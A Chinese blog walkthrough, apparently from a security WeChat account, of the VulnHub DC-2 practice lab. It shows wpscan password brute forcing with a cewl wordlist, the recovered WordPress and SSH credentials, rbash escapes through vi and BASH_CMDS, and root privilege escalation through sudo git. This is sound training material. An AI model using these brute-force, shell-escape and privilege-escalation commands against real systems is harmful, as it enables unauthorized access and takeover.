vulhub之DC-2

微信公众号:乌鸦安全 

图片

扫取二维码获取更多信息!

01 靶机信息

https://www.vulnhub.com/?q=dc-2
Name: DC: 2
Date release: 22 Mar 2019
Author: DCAU
Series: DC
Web page: http://www.five86.com/dc-2.html

靶机描述:

DESCRIPTIONMuch like DC-1, DC-2 is another purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing. As with the original DC-1, it's designed with beginners in mind. Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools. Just like with DC-1, there are five flags including the final flag. And again, just like with DC-1, the flags are important for beginners, but not so important for those who have experience. In short, the only flag that really counts, is the final flag. For beginners, Google is your friend. Well, apart from all the privacy concerns etc etc. I haven't explored all the ways to achieve root, as I scrapped the previous version I had been working on, and started completely fresh apart from the base OS install.

02 信息搜集

因为打开之后无法获取有效的ip地址,这里配置为NAT模式

图片

使用nmap进行扫描

nmap -sS 192.168.238.0/24

图片

扫描到存在一个

192.168.238.19

继续扫描端口

图片

开放了80和7744端口,直接访问ip地址,跳转到域名地址

图片

这里可以看到无法跳转dc2 的主机,这里应该需要配置hosts文件

2. 修改hosts文件

先将文件备份

图片

再进行修改

图片

此时浏览web就显示正常了

图片

03  进后台

网页一眼看过去就是wordpress的,很经典

图片

在这里提示有一个flag1

图片

应该是需要使用工具cewl将网页的信息都作为关键词来使用

cewl dc-2 > password

图片

然后使用wpscan来爆破用户

--enumerate //列举枚举
u  //用户
-P  //指定用于暴力破解的口令字典

​​​​​​

开始测试:

wpscan --url http://dc-2 -e -P password

图片

跑出来了三个用户:

admin   jerry  tom

图片

而且也跑出来了密码
 

图片

[SUCCESS] - jerry / adipiscing
[SUCCESS] - tom / parturient

众所周知,wp的后台就是wp-admin

图片

啊这,失算了,还是再跑下吧 nikto目录遍历

nikto -host dc-2

图片

发现了,原来是我记错了。。。。

图片

使用刚刚爆破的用户名登录

图片

在这里发现了另外一个flag2

图片

那就尝试登录ssh吧

04  ssh

[SUCCESS] - jerry / adipiscing[SUCCESS] - tom / parturient

图片


拒绝连接,使用全端口扫描看下:

图片

jerry账号无法登陆成功:

图片


但是tom用户是可以登陆的:

图片

在这里可以看到好多命令无法使用:

图片

虽然看到了flag3,但是拿不到,这里使用了rbash

什么是rbash?

什么是rbash?受限shell是LinuxShell限制一些bash shell中的功能,并且是从名字上很清楚。该限制很好地实现了命令以及脚本在受限shell中运行。它为Linux中的bash shell提供了一个额外的安全层。

限制在rbash中实现

cd命令(更改目录)

PATH(设置/取消设置)

ENV aka BASH_ENV(环境设置/取消设置)

导入功能

指定包含参数’/'的文件名

指定包含参数’ - '的文件名

使用重定向输出*****’>’,’>>’,’>*** *****|’,“<>”,“>&”,“&>”*******

关闭使用限制“ **设置+ R”**或“ 设置+ O’

注 :rbash限制任何启动文件被读取后执行。

参考资料:https://blog.csdn.net/qq_45320164/article/details/109084488

r意味着restrict,rbash(restricted bash),即受限制的 bash,也就是说现在的shell受到了限制,在这里可以使用以下方法解除限制:
在这里无法使用vim,但是可以使用vi,而且还可以使用export命令。

vi 命令用于编辑文件●Linux export 命令用于设置或显示环境变量。


vi
:set shell=/bin/bash
:shell
export PATH=/bin:/usr/bin:$PATH
export SHELL=/bin/bash:$SHELL

05 绕过rbash 获取flag3 


直接在命令行里面执行:


BASH_CMDS[a]=/bin/sh;a
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin

图片


此时拿到flag3

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

06  获取flag4 


现在寻找flag4,只需要使用切换用户到jerry试试

[SUCCESS] - jerry / adipiscing[SUCCESS] - tom / parturient

图片

​​​​​​​Good to see that you've made it this far - but you're not home yet.You still need to get the final flag (the only flag that really counts!!!).No hints here - you're on your own now. :-)Go on - git outta here!!!!

07 提权root获取flag

提权的方法可以参考:

https://www.cnblogs.com/zaqzzz/p/12075132.html

这里有提示,使用git提权。git提权方式:

​​​​​​​法1: sudo git help config    !/bin/bash或者!'sh'完成提权法2: sudo git  -p help    !/bin/bash
 

法1:sudo git help config

图片

获取flag

图片

 法2: sudo git  -p help

图片

图片

07 小插曲

微信公众号:乌鸦安全 

图片

扫取二维码获取更多信息! 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值